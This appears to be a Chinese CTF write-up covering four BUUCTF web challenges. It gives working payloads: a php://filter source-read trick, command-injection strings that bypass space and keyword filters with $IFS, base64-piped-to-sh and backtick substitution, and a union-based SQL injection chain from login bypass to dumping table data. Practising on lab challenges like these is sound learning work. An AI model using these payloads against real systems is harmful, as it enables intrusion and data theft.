# [SUCTF 2019]EasySQL
buu 上的,= 百度下有题解,这里说点有趣的
关于最后 payload 还有查询语句:
select $_GET['query'] || flag from flag
这里的 II 应该是逻辑或,当使用任意一个数字(常数列)与其或时,返回的只会是常数列。所以 payload 是 *,任意数字
,因为 *||flag
是非法的,即使是开启了所谓的字符串拼接也是不对的。
但是似乎这道题其实没有开字符串拼接,输入 *,1
返回的是:
Array ( [0] => flag{c32cc085-3992-43d4-948a-8b72f8002d1e} [1] => 1 )
显然是没有拼接上 flag 的,而且只有那个任意数字是 0 的时候 [1] 是 0,否则都是 1,所以似乎这里还是 OR, 并非拼接,如果是拼接,那么似乎只输入数字也是可以的。至于为什么 0 时返回是 0,也许是因为 flag 的值也被当成是 0 了(?)
此外我还试了试只输入 0,没有返回值,似乎是有语法错误了,不过 *,0
有上述输出。
MySQL 默认 || 是 OR, 但是其他的有的会默认拼接。
# [ACTF2020 新生赛] Include1
倒是提供了一个用伪协议读源码的方法:
file=php://filter/read=convert.base64-encode/resource=flag.php |
有的时候就是这么朴实的绕过,可以语法上编解码。像是上次 URL?
# [GXYCTF2019]Ping Ping Ping1
命令执行
你知道的,cat 也可以用来读源码。
感觉三种解法都很有趣:
变量拼接(因为源码中有个没啥用的变量 a):
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php |
编码:
又是 base64
/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh |
这里 base64 加密了 cat flag.php,这样就不会被 flag 以及空格过滤掉,接下来的几个就是通过管道符传递给 base64 (-d 表示解码,$IFS 是绕过空格,$1 是占位符),再交给 sh 执行。虽然题目过滤了 bash,但是 sh 可以用。
最后一个 | sh 是必要的,否则你只会得到 cat flag 本身
?ipdddddfdsfa;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh |
内联:
内联,就是将反引号内命令的输出作为输入执行
也就是先执行 `` 之内的,然后将结果代替本身
构造
?ip=127.0.0.1;cat$IFS$9`ls` | |
其中cat$IFS$9`ls` | |
等同于cat $(ls),只是这题目把()过滤了 | |
$IFS$9依旧是用来代替空格 | |
$IFS是shell环境变量一般是空格/制表/换行 | |
$数字是脚本的参数,没定义就会被当做空字符串,会强制参数扩展,使得$IFS的第一个字符无论是什么,也会被当做分隔符(其实只是扩展时会将第一个不论是哪一种分隔符都换成空格而已,所以要成功,$IFS不能为空)。(所以用9就是因为数字大,大概率没定义) |
# [极客大挑战 2019] LoveSQL1
一个非常非常普通的 SQL 联合查询,但是我对这个过程一点也不熟悉,所以随便过一过。
首先是万能密码过个登录 1' or 1#
,得到真的账号密码(是真的,但是没用),显然注入点就是 username
用 order by 子句来判断有几个查询参数
1’ order by 1/2/3/4...
最大的不报错数字就是查询参数
联合查询判断回显点
1' union select 1,2,3
看一看返回的 1,2 在哪里 (这题是返回了 2,3 说明有俩可以用)
开爆!
1' union select 1,database(),3
//得到数据库名
1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()
//得到表名,接下来一句类似
1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=“表名”
//得到字段名
1' union select 1,database(),group_concat(id,username...) from 表名
//爆数据!